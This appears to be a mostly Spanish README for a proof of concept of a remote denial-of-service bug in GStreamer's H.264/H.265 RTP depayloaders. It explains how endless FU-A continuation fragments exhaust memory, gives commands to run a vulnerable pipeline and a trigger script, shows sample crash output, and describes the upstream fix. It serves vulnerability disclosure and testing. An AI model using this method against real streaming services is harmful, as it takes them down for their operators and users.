
Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay).
Prueba de concepto para una vulnerabilidad de agotamiento de recursos en el depayloader H.264 RTP de GStreamer (rtph264depay). El mismo patrón también afecta a rtph265depay.
Durante el reensamblaje de RTP fragmentado H.264 FU-A, cada fragmento entrante se introduce en un búfer interno GstAdapter sin límite de tamaño. El adaptador solo se vacía cuando el bit de fin de fragmento (E) está establecido en la cabecera FU. Un atacante remoto envía un fragmento inicial válido y, a continuación, un flujo interminable de fragmentos de continuación sin establecer nunca el bit E. El búfer sigue creciendo hasta que el proceso agota la memoria y falla.
Informe completo: 0xsemizzz.vercel.app/projects/gstreamer-cve
gst-plugins-good anterior a la corrección de upstream. Confirmado en 1.28.2 (Ubuntu 24.04).
Inicie un pipeline y luego ejecute el PoC:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
Para un fallo rápido, añada un límite de memoria:
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
Se añadió una propiedad max-reassembly-size a rtph264depay y rtph265depay. Las aplicaciones deberían establecerla en un valor razonable (16 MB es típico para vídeo). El valor predeterminado es 0 (ilimitado) para compatibilidad hacia atrás.